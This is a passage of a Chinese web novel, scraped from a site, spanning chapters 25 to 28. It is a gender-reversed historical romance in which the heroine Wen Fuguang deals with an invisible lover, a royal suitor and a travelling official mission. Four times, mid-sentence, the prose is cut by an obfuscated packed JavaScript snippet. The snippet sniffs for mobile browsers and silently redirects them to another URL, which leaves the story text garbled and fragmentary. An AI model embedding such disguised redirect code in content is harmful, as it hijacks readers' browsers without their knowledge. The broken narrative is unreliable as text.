总之,在满嘴马赛克的领导又一次把他们这些手底下的喽啰们叫去大骂特骂,而办公室柜子上摆在高处的神龛突然掉下来砸到他那颗光秃秃的头,之后这位驰骋职场多年的老将不得不办了病退的那一天之后,她就决定把404当成她此生最好的朋友。 现在他们的关系又不止于此了。只是404很害羞,他不爱说话,行为却又很放浪。 奇妙的反差。 闻赋光转了个身,抱臂靠着厨房柜,开口道:“好贤惠呀,404。”腰上传来的温度提醒她,她正在跟一个看不见的隐形人身体相触。 404没有回答,她口中猝不及防被塞进一块冰凉的苹果片。酸酸甜甜,滋味甚美。 经过多次尝试,闻赋光发现这个世界上只有她一个活人能摸到他,而只有她碰到他的时候,他才能接触到物品。至于看,这世上任何活人或动物都看不到他,连她也一样。 好在她不在他身边的时候,他碰不到其他东西,不用担心什么诡异的事情发生。 热红酒很快煮上了,闻赋光开始给蛋糕抹面,404在旁边洗草莓。 下班时间宝贵,她随便抹了层厚厚的奶油,也没管平不平就扔在一旁,等着洗好的草莓去组装。 他洗得认真,闻赋光突然手痒,用刮刀挑起一团绵密的奶油,心里暗暗估算着位置,往身侧什么都没有的地方一抹。 “唔——”身旁传来小小的惊呼。 “对不起哦,不小心弄到了你身上,我来清理。”闻赋光不怀好意地笑着,把他板过来面向自己,双手一环,低下了头。 无视面前骤然变得急促的气息,她伸舌继续吃奶油,直到吃干净。 “都吃掉了,现在可以原谅我了吗?”身体相触,她很轻易地发觉了他此刻身体紧绷。 不等他做出反应,闻赋光笑嘻嘻地把他扳回去,摸索着抓住他的手,要他继续洗。 “继续洗,洗干净点。” 三,二,一。 唰。 究竟还是她更快一筹,闻赋光举起手机拦在唇前,阻止他的接近。 她明明看不见他,但姜栀棠能清晰地看到——她在和他对视。 闻赋光紧紧盯着他,唇角微勾,精准地找到了关机键,单手将手机关机。 姜栀棠喉间发紧,他揽过她的腰,用撒娇的姿态祈求她。 闻赋光大发慈悲,挑下一团奶油抹在手腕上,看着它逐渐消失在空气中,笑意加深。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16918384|189190||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有力的跳动透过薄薄的皮肤传过来,被他湿润的口腔舔舐。哪怕他现在甚至没有正常的躯壳,姜栀棠却觉得他的心也开始砰砰跳得很快。 “别逗我了......”他艰难地吐出几个字。 闻赋光挑挑眉,敷衍地亲他一口,因看不见而失了准头,亲到了鼻梁,姜栀棠发出了不满的咕噜声。她指了指沸腾的热红酒,“煮好了,我来倒。” 她径自走过去倒酒,又将两杯热红酒摆在茶几上,打开了电视。 沙发上摆了张足够包裹两个人的大毯子,那是她近来新买的。 自从家里多了个不需要吃喝拉撒的人形玩伴陪她玩,闻赋光的生活有了一些小小的改变。 她最近喜欢待在沙发上看电影了。 不管是什么年代的,什么语言的,国内的国外的,口碑好坏都不介意,只要她感兴趣即可。 沙发一沉,左手被人拉住,闻赋光把毯子分过去一半,朝身旁举杯。 404似乎不胜酒力,才喝过一口,闻赋光肩头一沉,就有人黏黏糊糊贴上来撒娇。 她揽过他继续看电影,指尖还挂着只剩一口的酒杯。 今天的电影似乎选得恰到好处,主角一家人正在布置圣诞节装饰,用各种彩灯气球装点家里。 闻赋光本来是想好好看电影的,但身旁之人不满她的注意力被分走,手上不老实,缠得越发紧了,细密的吻落在她的侧脸、耳垂和脖颈。 叮,闻赋光手中的酒杯被轻轻放在了石制的茶几上,发出了清脆的一声响。 她转过头,摸索着找到他的下巴,拇指一伸撬开了他的口,将杯中最后一口热红酒渡了进去。 404没有拒绝,他仿佛天生就是顺从于她的,只是偶尔有点呆得可爱的小心思。 第二口酒下肚,404被呛得咳了两声,闻赋光十分爱听,环上他的颈,亲吻一枚以作奖励。 二人紧紧相拥,闻赋光手指点过他的五官——她自然是看不见他的,她轻轻叹息,姜栀棠听得分明。 “摸起来也是个美人,怎么偏偏看不见你呢?” 姜栀棠一顿,听到身下传来一句:“怎么?” “没什么。”他俯身而下,将妄念痴念贪念化归一处。 闹到半夜,两人仍旧亲亲热热地挤在不算宽敞的沙发上,姜栀棠以为她睡着了,却突然听到她开口:“你还没有告诉过我你的来历。” 他暗中抓紧了手心的毯子,不敢作声。 他曾经是有来处的,可是现在已经没了。一个人没有了肉身,还能算是一个人吗?他不知道如何解释,只能把这份奇遇归结于上天垂怜,让他妇夫二人在异世界重逢一回。 长久的沉默。 闻赋光没有再问,似乎睡沉了。姜栀棠伸手过去将她抱得更紧,盼望分别之日来得更晚些。 狂欢之后的早晨,闻赋光疲惫地从光怪陆离的梦中醒来。 具体的事情全都忘了,她只记得她很忙,很紧张,还被狗撵。 睁眼之后,满室空无一人。 26. 第 26 章 “真有你的!”阮笛稍稍抬高声音,出行队列前方有人回过头来,闻赋光赶紧咳嗽两声,两人骑在马上,改为小声聊天。 “迫不得已嘛!只能出此下策咯,”闻赋光笑得很腼腆,“我姨父一向以妻为天,对我姨母唯命是从。我姨母说了要我好好去相亲,随便我说什么有事呀,临时有公务呀都没用,他不会轻易放我离开的。” 阮笛向她竖起了大拇指:“你这一招也太妙了,崔家得有一阵子不敢来联系你了。” “那是,不过我本就出门来出公差了,她家敢不敢联系我姨母,那是她们的事,与我无关。”她有些洋洋得意,吐了吐舌。阮笛见状学她做怪表情,闻赋光揍之。 她二人各乘一骑,沿着官道渐渐出了京城。 同行的还有一位坐马车的御史,华其真以及另外一个五城兵马司的姐妹并一名车工,一共六人,轻车简行。 健马的蹄子哒哒哒地敲在路上,给后头两人的聊天打掩护。 “不过,你也算是见到了那位崔家小郎,他如何让你不满了?很丑吗?”阮笛挑着眉,眼里闪烁着八卦的光。 “要说有多么不满,也算不上吧。”闻赋光瘪了瘪嘴,“容貌不算很出挑,但也算是秀气。就是那性子,实在过于......”她胡乱比划着,企图寻找一个合适的形容词来形容她那位相亲对象。 寻找无果,闻赋光盯着阮笛,试图将脑海里想要表达的意思通过眼神传递过去。 “活泼?文静?”传递失败,阮笛好心地给出范围。 “非也,他真是个端庄的贤淑男郎......就是有些过于端庄。”完全不理睬她,简直像个在庙里清修了五十年的老头子。闻赋光终于寻找到了合适的形容。 “那日,我姨父刚带着我下了马车,就在庙外‘巧遇’了那位小郎和他父亲,于是我们两家就‘顺理成章’同路而行。 他们两位长辈一路上都在扯些有的没的,我和他在后头跟着。我们双方见了礼之后,他就低着头,一眼都没正眼瞧过我。 那话怎么说的来着?那叫一个‘低眉敛目’,我寻思他也对这门亲事不甚满意,可是走又走不脱。我觉着浑身不自在,想开口说些什么,他也并不回应我,口也不开头也不点,冷淡得很。许是我说的什么话让他不赞同,眉头都皱起来了。 人家不愿意听,那我只好不说了。既然是这样的场面,我当时觉得再待下去也没用,就......” “你就把癸水弄在了衣服上,故意让他家瞧见,你姨父就不得不放你走了!” 两人无声地大笑起来。 青壮年女子都会来癸水,出门在外偶尔弄脏衣服实在是小事,换了就得了。 她姨父和崔家那位郎主也不是少年人了,既然服侍过妻主,也不会对此陌生。 只是那位未经人事的崔小郎,见她这样又羞又气,浑身抖如糠筛,躲在其父身后,再不肯出来了。 女子有了癸水,继而才孕育出世间许许多多的人。就如日升月落,是比吃饭喝水还自然的事。 两位长辈都是过来人,当然不能为这事斥责她,反而还要关切她的身体,叫她好好休息。 闻赋光凭此计策,成功让这场相亲持续不下去,姨父匆匆带她回了府。 自然,两家之间也并没来得及能得出个准话。 “然后,我临时听说有出公差的活,就挺身而出了!还能与你一起,路上有个伴,多好的事!”闻赋光勒着马绳,冲她眉飞色舞。 “说起来还真玄,天降一桩差事来,正好合了咱俩的意。” “咱们这趟差事不过是护送程大人去送些抚恤银子,再看看堤坝补好了没有,费不了多长时间,都是壮年女子又都脚程快,或许还赶得上回京过年。你嘛,留在那过年也不错。” 秋冬时节河工松懈,鹄州城外十里的兴南庄附近因下了六日倾盆暴雨,水位暴涨,堤坝被冲垮了一小段,所幸雨势很快停了,没有酿成大的洪灾。但也有数间屋舍被冲垮,另有十几名来不及撤离的百姓丧生。 消息传到京城,在这个即将过年的关头,天家决定要派人前往灾地抚慰人心。因灾民只有十几名,也没什么油水可捞,这实在是一桩天寒地冻的苦差事。 不知道朝堂上经过了什么样的较量,总之最后就是前面马车里的御史程庄奉命出京了。 五城兵马司是监察院下辖,程庄从这里选了几个人作为护卫也算正常,另外两个人不知道,闻赋光和阮笛着实是自己心甘情愿要出这趟公差的。她是为了暂且躲避婚事,阮笛想要借此去探亲。 程御史年约四十,据说是某年的榜眼,她为人严肃沉默,一个仆从也没带,看着十分简朴清贫。虽然人不好亲近,但也无意为难她们几个护卫,成日在马车里对着一摞摞文书苦大仇深,看得人咋舌监察院的工作压力是否太大。 这趟差事的主角是程庄,她们几个肌肉比大脑发达的武人只要保证程大人能平安地抵达目的地,再从目的地平安地回到京城即可。 这一路上骑着马,除了屁股被颠得着实不轻以外,她也并不觉得有多苦。 来了大媱几个月,她还没什么机会出京,如今这也算是个透气的机会。 而阮笛在京城没有故交旧友,当年她在军营里长大,是兵士们将她从死人堆里捡走,用一口口奶水和省下的口粮喂大的。她小时候还好,待长成个十几岁的半大少年后,就忍不住向往繁华之地,也因此到了京城。 京城的生活虽然还算安逸,但少有探亲的机会。一行人此去兴南庄,附近的大营里有个武官是当初将她抚养长大的姨娘之一,阮笛听说是这地,当即自告奋勇,打算差事办完了就去探个亲。 两人朝着风雪挺进,将京师纷纷繁华抛诸脑后。 在大祸临头之前拖延的时间最快乐,闻赋光现在就处于这么个状态。 出门在外第一晚在驿站过,程庄回她自己屋里用饭,她们另外几人在一处。这顿饭吃得很快,众人都累了,各自早早回了房。 在驿站,官员们是凭品级入住各级房间。简单说就是高官住豪华套房,还有人伺候;低级不入流的小吏就要去挤大通铺。 吃的也有差别,高官吃龙肝凤髓,小吏只能勉强凑合温饱,现实就是这么残酷。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16939155|189190||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 但驿站竟然给她们几个护卫各分了一间房,闻赋光聪明地没有问原因。 她不问,你不说;她一问,你惊讶。 问了就没了,别做傻事。 待她一打开房门,竟发现原因就立在床边。 房间不大但很整洁,站在房门口就能一览无余。闻赋光赶紧进屋关上门,要知道她身后可都是来来往往的驿丞和杂役,他也不怕被人看见! 闻赋光说不清在此地见到他有什么感想,她背靠着门,与立在床边的姜栀棠两两相望,两人都没有开口。 自打那日从庙中仓皇逃跑以来,他们二人还是首次打照面。 该来的总要来的,闻赋光深吸一口气,故作轻松: “巧遇。” …………她的舌头怎么选了这两个字吐出来,赶紧换一个打招呼的方式。 “你来这里做什么?” …………这话听起来又很不客气,他原本就有些无措的神情变了,见他轻咬下唇,面露委屈,闻赋光决定闭嘴。 姜栀棠上前一步又顿住,看起来踌躇不定,复又鼓起勇气道:“你还生着气吗?那日我们在城外庙中相遇是偶然,并非我故意设计,我……” “我没生气。”闻赋光打断了他的解释。 “是吗......”姜栀棠应该安心些的,但他的不安反而被她过于平静的态度放大,“锦绣坊的掌柜发现了一对镯子和玉坠,是.......” “还你的,夺走你的首饰是我不对,所幸没有伤到你的名节,早该物归原主了。”闻赋光继续打断,偏过头去不看他。 “你要与我划清界限,是吗?”姜栀棠脸色苍白,直觉她要说些他不愿听的话,但脚步牢牢钉在原地,让他不得不承受。 闻赋光骑马骑久了有些乏,踱到桌前坐下,依旧不去看他:“此刻这间厢房里的你我二人,一个是天潢贵胄,另一个只是个芝麻小官,本就不该有什么交集。即便强求,恐怕也没什么好下场,不如趁此机会回到各自应有的位置。” 即便强求,也不会有好下场。姜栀棠咀嚼着她这句话,忽然感觉到深沉的悲哀。 “我很快就要娶夫了,把东西还你,以后就不要再见面了。”闻赋光话说得硬气,眼神始终看天花板,看墙,看烛台,就是不看他。 那日闻赋光喝到断片,完全不记得她对他到底做了些什么,而不记得就是没有,这些日子她就是这样成功说服了自己,一派理直气壮,毫无愧疚之心。 姜栀棠没有回应,几步扑到她身前——这突然的举动着实把闻赋光吓了一跳。但已经来不及了。他伏在她膝上,发丝披散下来,不经意地露出白皙的脖颈,微微啜泣。 他自下而上缓缓抬头,那双形状优美的眼眸中将落未落地噙着泪,清丽的美人面上反差地露出小狗般委屈的神情,端的是惹人怜爱。 他很显然是知道自己什么角度最勾人的,即使在落泪,真实目的却昭然若揭。 闻赋光紧绷的身体放松下来,她觉得她脸上现在应当已经火热起来了。 #&@¥。 她暗骂一句。 27. 第 27 章 “......别这样看着我。”她如同被扎了的气球,一下子泄了气,举起双手不敢碰他,闷闷道。 姜栀棠轻轻拉过她的双手贴在自己双颊旁,“你要远行,我来给你送些东西。” “不用了,谢谢。”闻赋光欲抽手出来,但身体不听使唤慢了一步,原本要用来推开他的手,却反而与他贴得更紧。 姜栀棠更加温柔但坚定地拢住她的手。 她的手在风雪中被吹得冷飕飕,冰冰凉地与温热的肌肤相贴,他却眉头都没皱一下,只有腕上一串粉色碧玺珠子随着灯火摇曳。 他像一只交付全然信任与依赖的小动物,眷恋地依偎在她的手心里,鸦羽般的睫毛在他的眼睑下打出淡淡阴影,甜蜜的嗓音在丝缕香气中直抵她心间:“这样就不冷了。” 热度从指尖顺着皮肤蔓延上来,他眼中泪意还未消退,就这样努力扬起笑脸说来给她送东西,晶莹可爱。闻赋光心头好像被羽毛拨动了一下,有些难以招架,抿着嘴听他细数他带来的东西。 护膝,手套,金创药,防水土不服的神奇小药丸,一叠小额银票,甚至还有防冻裂皮肤的面脂。 一概整整齐齐地码在精致的小包袱里,可以拿起就走,很方便携带。 还有什么他许是不好意思说,指了指里头一个暗袋,闻赋光神奇地会了意。 他倒是贴心。 “不要拒绝我,好不好?”他带着近乎撒娇的语气仰望着她,闻赋光被他期待的目光盯得有些发懵。 出大事了,如果有个大美人天寒地冻赶路上百里挂着泪珠趴在你的膝头求你接受他贴心的小礼物你该怎么办?在线等,挺急的。 她抬眼重新审视他。 仅她和他两人在一处时,他看着性情还算温和,任凭她怎么大不敬都只会嘤嘤呜呜。若非他种种举动都透露着不正常,还真挺像回事。 但他出身皇室,而且从小就受宠,这些天潢贵胄若是没点颐指气使的本事,那简直是天方夜谭。一个人的行为如此反常,已经到了不忍直视的地步,用屁股想都知道他一定是有所图谋。 而这个代价她能否付得起? 闻赋光不知道。 “为什么?”她眼中流露出真切的疑惑,“我们一共也没见过几次面,你为什么要这么做?” ......沉默良久,他终于开口:“如果,是你的夫郎为你做这些,你也会像这样发问吗?” 这都哪跟哪的事。 他吞吞吐吐不肯正面回答,闻赋光决定不问了,起身把他往外推,“不说是吧?你走吧,快走快走!我要休息了,你从哪来的回哪去,再见!” “你连......那样的男子都不介意,愿意纳他进府,我的容貌,家世,性情哪里比不上他!”闻赋光匆匆扫过,姜栀棠终于掉小珍珠了,看起来不甘又委屈,看得她心头像是被狐狸尾巴反复扫过。 色即是空,空即是色。 不行,这样太丢份了。 “哈。你终于承认了,你就是监视我。媒公说我和他八字不合,也是你指使的吧!”闻赋光冷笑一声,转回过去怒视他,他哭得更凄美了,小珍珠不要钱似的掉,期期艾艾地装可怜,但就是不肯坦白。 再歪缠下去那还了得,闻赋光真生出点火气来:“您可是当朝郡君,我们闻家庙小池子浅,供不起您这尊大佛,至于我要娶谁那是我的事,您还是别操心了!” “我只求和你相守,不想你娶别人,绝没有其他图谋!”他扑进闻赋光怀里,慌乱地送上一个个亲吻,似乎在讨好她,以恳求眼前人的一点垂怜,“你明明喜欢我,既然总要娶夫,为什么不能是我......” 色令智昏,有那么一瞬间她就真的要被他说服了。 姜栀棠身高腿长,身材比例极好,身体柔软的同时又不失力道,蕴含着不容忽视的渴望。那姿态像依偎又像祈求,仿佛只要她点头,他就会倾尽一切,可闻赋光现在体会不了这些痴缠。 她一把推开他,蹬蹬几步上了墙威胁他:“我不喜欢你,不想看见你,也不想娶你!你再不离开,我就挂在房梁上再也不下来了!” 屋里的气氛不能说是剑拔弩张,起码也是一触即发,两人早忘了头几回见面时,双方端着架子装温雅的情形。 “你不能挂在房梁上不下来,你还要入寝,还要用饭,还——” “我讨厌你!”闻赋光提高了声量打断他,“我不喜欢出身高的,我有怪癖,就喜欢救风尘,越卑微我越喜欢,怎么样?” 他住了口,用被辜负的震惊和忍耐又悲凉的绝望神色望着她默默流泪,闻赋光装作眼神不好没看见。 这间房上的横梁显然近期没有修理过,骤然被她猛地一拉,发出了“嘎吱嘎吱”的哀嚎......吓得她一抖,几乎就要松手掉下来。 姜栀棠要去接,又被她瞪走,只好万般不舍地离开了。 直到他从窗口翻出去,闻赋光颤巍巍地跳下来,气得猛灌几口茶——那茶还是温热的。眼角余光瞥见他没带走的那些东西,想到临走前他伤心欲绝的样子,她才生出一丝丝的懊恼。 外面天寒地冻,把他就这样赶出去,好像是有点不近人情。 但她已经给过他坦白的机会了,是他自己没抓住,还惹她生气了,不能怪她。 “叩叩。”外边传来一道人声,是华其真在敲她的门:“出什么事了么,我听见你屋里有动静?” “唔,我睡着了说梦话呢,把我自己也吵醒了,没事!你快回去睡下吧。”闻赋光听出这声音是同行的护卫之一,随口敷衍道。 门外没了动静,闻赋光强迫自己带着三分怒气,三分彷徨,四分不可言说的心情入睡,她有公差在身,不比闲人有空整天为感情之事发癫。 * 京城。 临近年关了,骤然袭来的寒意没有劝退人们上街的热情,锦绣坊内客人正多。 肖从晗挎着包袱步入店内,坊中一如寻常,李掌柜正在柜台后头噼里啪啦地拨弄着算盘子,伙计接待着年轻鲜嫩的男客们,一切井然有序。 包袱里是一批完成的绣品,他交给掌柜,待她一件件清点。 自从他听了那位闻娘子的话,去多家绣坊问过,不少绣坊都看上了他的手艺,其中锦绣坊愿意出的价最高,在那之后他就一直将绣品放在锦绣坊里寄卖,时不时的就有些补贴,生活也好过些。 近期更是生意不错,有大户人家的有钱人看中他的绣工别出心裁,付了不少佣金,指定他用最好的绣线和布匹做绣品,不计成本,只要成品足够精美即可。 这是足够令他心满意足的大买卖。 做绣活要保持双手的柔嫩,高级的绣郎们往往十指不沾阳春水,除了刺绣其他什么活都不用干,这样才不会致使美丽的绸缎被刮花,也因此,这般绣出来的绣品价值更高。 肖从晗垂眸,他的手就柔软而灵活,若是单看手,他简直不像平民出身的男子。 他从小在刺绣一道上有天分,幼年母亲在时还给他请过针线师傅。后来即便家庭变故,他也没有把这门手艺抛下。这两年来随着弟弟长大,母亲留下的薄资已经渐渐不足以支撑家里,他们兄弟的生活越发捉襟见肘。 思来想去,他们两个未出阁的男郎只有靠绣花这门技艺过活。因而他只负责专心刺绣,做不了粗活,家里的事几乎都是年少的弟弟一个人打理。 那么一个比他小了好几岁的孩子,就任凭生活的重担压在了稚嫩的肩上,一句苦累都没有喊过。他看在眼里,却不知道怎么才能让家里的日子好过些。 好在如今日子有盼头了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16948805|189190||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,今天出门他还要给二人各做身过年的新衣服,再打两支钗子,这个年便也算是好好过了。 趁着掌柜清点间隙,肖从晗张口:“李掌柜,这些日子还要多亏了您一双慧眼,让我将绣品寄在贵坊中卖,能多得不少钱,这准是沾了您的运道,我该多谢您。” 李掌柜听出他这不像是随口感谢,便猜到他有话要说,“怎么?” 肖从晗手指微动,摩挲过佩在身上的玉连环道:“这些绣品做完,我就不再接活了,这些绣品便是最后一批。” “可是肖小郎家中出了什么事?” “不是,”见还算熟悉的掌柜面露担忧,肖从晗赶紧解释,他有些不好意思:“是......我的婚事有眉目了。” 这些年来也并非没人给他说过亲事,但找上门来的媒公们说的一律都是小侍、填房之类的。 如今这世道,一个男子嫁不出去便是天塌了,前路是可见的无望。然而他自诩出身读书人家,实在不堪忍受这样的婚事,宁愿不嫁。 可叹他自认才高八斗,便是京城最尊贵的贵男们也未必有他的才气,却苦于没有机会展露,只好甘心被埋没。 如今天降一门婚事,对方年轻且出身官宦之家,不仅对他毫无要求,还愿意接纳他弟弟,甚至还是他曾有过几面之缘的娘子,能有这般造化,已经是不易。 李掌柜松了口气,看起来真心替他高兴:“肖小郎得遇良人,这是好事啊,某家也要贺喜小郎妇夫恩爱,白头偕老才是。” “承您吉言。”肖从晗冲她感激一笑。 李掌柜与肖从晗打了几个月交道,自然对他家中的情况有些了解。肖从晗早早失了怙恃,带着个弟弟在京中艰难谋生,一直蹉跎到了二十岁出头还没嫁人。如今总算有娘子不计较这些,愿意给他一个归宿,实在不容易。 只是她转念想到背后东家的吩咐,不禁面露迟疑,再次确认道:“肖小郎再不接活了?” “是,我该准备成婚所用,无暇顾及这些了。”肖从晗想到如今家中桌椅床榻俱是新的结实的,米缸里堆满了米,灶上罐子里装的是整罐油,灶台旁堆满了柴火,还有布匹和煤球......件件都是他那位未来的妻主安排的。 她还托人传话,送这些东西来是不要他再为生计操劳,安心过日子即可。肖从晗原本听了媒公说他们八字不合而惴惴不安的心,在听到那番话的瞬间就妥帖下去。 他不止一次回想过她的面容,只觉得可靠又威严,毫不怀疑那是个可以依靠终身的良人。 听了他的话,李掌柜皱着眉喃喃道:“这可真是不巧了......” “李掌柜,有什么不对吗?” “嗨呀,某家上回向大东家提了一遭肖小郎的绣品,还拿了块帕子给东家看。东家看了以后说想请肖小郎绣件屏风呢。” “屏风?这我确实帮不上忙了。只我一个人,非得绣上一年半载不可,况且我从未绣过屏风,不好拿贵人的东西来试手的。”肖从晗有心不让李掌柜为难,但他自认做不了这活,便是硬着头皮也接不了,只好拒绝。 “并非大屏风,是摆在桌案上的小屏风,比之绣帕也不过稍大一些,差不了多少的。”李掌柜眼神灼灼,充满希望地看着他,“如今快要年关了,想来小郎不会这时候赶着成婚,却不知能不能赶一件出来?你放心!东家愿意给到这个数.....” 既然是小件,想来费不了多少时间。看着李掌柜比划的那个数字,他不再过多考虑:“行,这活我应下了,可说过要什么花纹花样,几日要做完?” “东家说,请小郎绣自己拿手的来,最好五日内要绣完。” 时间很紧......但他点了灯熬一熬,也能做完,“五日后我将它带来。” “好,某家去取定金来!” 28. 第 28 章 闻赋光稳坐鞍上,脊背挺直,双肘微曲,缰绳松松拢在手中。若叫过路人看去,只道她挺拔清逸,实在是一位风神俊秀的好女郎。 只有同在马车后方的阮笛知道,她看似冷淡正经,一副公事公办的表情,其实怀里塞着的宝贝零食袋里头塞满了香喷喷的肉干。 阮笛已经从里抢了两块出来,美滋滋地啃着。“真香,就是啃多了屙不出来。”她口齿不清貌似抱怨,口中却并没有停。 闻言,闻赋光从怀里掏出一把草递过去,那是方才停下休整时,她在附近草丛里薅来的。 “给你。” “这个有用?” “没用,”闻赋光一脸正气,“但酸溜溜的。” 阮笛捡了一根,顺手在衣服上擦了擦塞进嘴里,“还真是。” 大媱官道上,两人相视一笑。闻赋光叼了根草,悠哉地盘算待进了城吃些什么。 出差辛苦,白天在外只能啃干粮,她们就盼着碰上进城的机会打打牙祭。 京城,倚玉府。 墨舒步履轻盈地靠近跑马场,场中驰骋的是一匹盗骊,它浑身漆黑,身材高大,飞扬在马场间宛若一阵旋风掠过,飒沓如流星。 这里是郡君所居府邸,能在这里恣意跑马的自然不会是别人,马上正是倚玉府的主人,重徽郡君姜栀棠。 大媱的男子一向以寡言、温顺为美德,宗室男的规矩更应是其中翘楚。 因此帝卿一向宠爱郡君,唯独教养郡君规矩时极严格,仪态这方面从不许他出错。 作为近侍,墨舒很清楚他自小挨了多少打才练出来的这身刻进骨子里的端方仪态。 然而,像骑马这般粗犷的运动一般都是娘子们的消遣,男子当众不顾仪态是极为不雅的事。 从前有那极重规矩的人家,因为家中四岁小郎跑快了摔了一跤,被个仆人抱了,那家家主觉得此男有辱门风,把亲男儿关进柴房活活饿死的事。事后还经当地州府请奏,奉旨立坊,由州官亲自提笔“贞洁流芳”,褒奖这家家风清正。 如今这世道虽不一样了,男子们平日里也可出门上香、踏青游玩,但贵族男眷一般还是自矜高贵,不爱参与这些流汗的运动的。 自家主子也一样不爱这些,可唯独骑马这一项,帝卿却要求郡君自小练习,只要不是刮风下雨的日子,要他每日都要来马场跑几圈。 这般吩咐自然是前后不一,但作为侍从,墨舒虽不解其用意,但也从来没有探究的想法——那可是皇家贵人的决定,容不得他去置喙。 马场中央,姜栀棠没有因为骑在马上就身形佝偻,他身姿英挺,烈烈的风灌进宽袍大袖,卷起他如绸缎的长发,那张冷若冰霜的脸也被寒风吹得有些微红。 墨舒心想现在骑马吹了风,一会他又要对着镜子懊恼半天。但这两天主子心情不佳,他定不会愿意早早停下,还是不要多嘴多舌了。 马儿的速度越跑越快,丝毫没有停下来的意思,墨舒不敢打扰,更不敢催促。直到姜栀棠跑完几圈减慢速度,渐渐靠过来,才上前禀告。 “主子,消息已经传过去了,日子就定在五日后。” 姜栀棠坐在马上,身姿英挺,居高临下听他汇报,唇抿成一条直线,听了汇报也看不出喜怒,只突然问道:“那些树,移栽成了么?” 这话与他汇报的内容毫不相关,墨舒微愣,又很快反应过来:“回主子的话,花匠说,那树是千里迢迢从南方运来的,一时不精神也属正常,是在歇着养根。待到明年开春,暖风一吹,它自会活泛起来。” 他察言观色,觉得展开多说一些应当没有坏处:“府里此番修葺,正院和园子俱已经按主子的吩咐收拾妥当,至于那些偏院,因咱们回京时日尚短,还未来得及,要等明年开春才能动工。如今,只等主子闲时亲自挑选屋内的摆设,不日便可搬进倚玉府长住了。” “午后去。” 墨舒汇报间,天上飘起了雪,雪花很快堆满几人发顶。姜栀棠不曾在意头上的雪,说完便一甩马绳继续跑了。 五日一晃而过,肖从晗带上绣品,按时来到锦绣坊交差。 因定做屏风的贵人没有指定,他便自行择了一种名为十八学士的山茶花图样,此花有品性高洁、圆满吉祥、才华横溢之意,且一树能开多色,花瓣层层叠叠,富贵天然,是极好的意象。 除了花样秀美雅致,他的绣品还有与旁人不同的一点,那就是他会在旁题诗。 绣在布料上的字往往比不得在纸上书写来得灵动飘逸,等闲绣郎很容易将它们绣得呆板无神,因此京中并不时兴给绣品绣字,如今也只他一家这么做。 皆因他年幼时家境尚可,在一位掌握了家传特殊技法的绣花师傅的倾囊相授下,他能够将这字与画结合得甚为巧妙。 况且于他而言,这其中更有着不一般的意义。即使无人会在意,他也总想留下些什么。 他踏进门,店中只有伙计,不见李掌柜的身影。见他来,店中一名相熟的伙计进了侧间,很快掌柜便从里头出来,上前接过绣屛细细端详。 趁李掌柜检查绣品的空档,肖从晗忍不住将目光投向一旁的柜台。锦绣坊的首饰一向很得富贵人家的年轻男眷们喜爱,若是放在以前,即使数次来往,他也不会多看一眼。 这不是因为他特立独行,故作不喜,而是知道自己不会拥有,干脆不去多看。看多了就会记住,便要生出许多贪念来。 如今却不同了,他或许可以—— “这诗是何人所题?”一道细润的声音将他的思绪骤然拉回。 肖从晗转过头,是一名打扮富贵的年轻小郎,他肤色白皙,眉目间是藏不住的傲气,此刻脸上满是好奇的神色,似乎是经过时被李掌柜手上的丝绢吸引。 看起来他与李掌柜相熟,便直接问出了口。 肖从晗没有急着认领,待李掌柜亲自介绍:“这件绣品是眼前这位肖小郎所绣,上头的诗自然也是他所作的。” 闻言,那位傲气的少男转过头来,细细打量着他。 那目光毫不掩饰,肖从晗心中有些窘迫,面上不由得带了几分出来。旁边人上下一扫,便知道他出身普通,性情也并不如何大方,还有些小家子气。 “给我看看。”他接过丝绢看了又看,确实生出几分喜爱,只是想到这样的诗作竟然并非出自京中任何一位大家郎君,便有些意兴阑珊,相交之心也淡了,“绣得不错,我要了。”这话是对李掌柜说的,他将丝绢随手递给身后的侍男,转头就想往二楼去。 李掌柜擦擦汗,赶忙叫住了他,陪笑道:“承蒙二郎君抬爱,您能瞧得上这里的物件,这是本店的福气,只是实在要跟 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 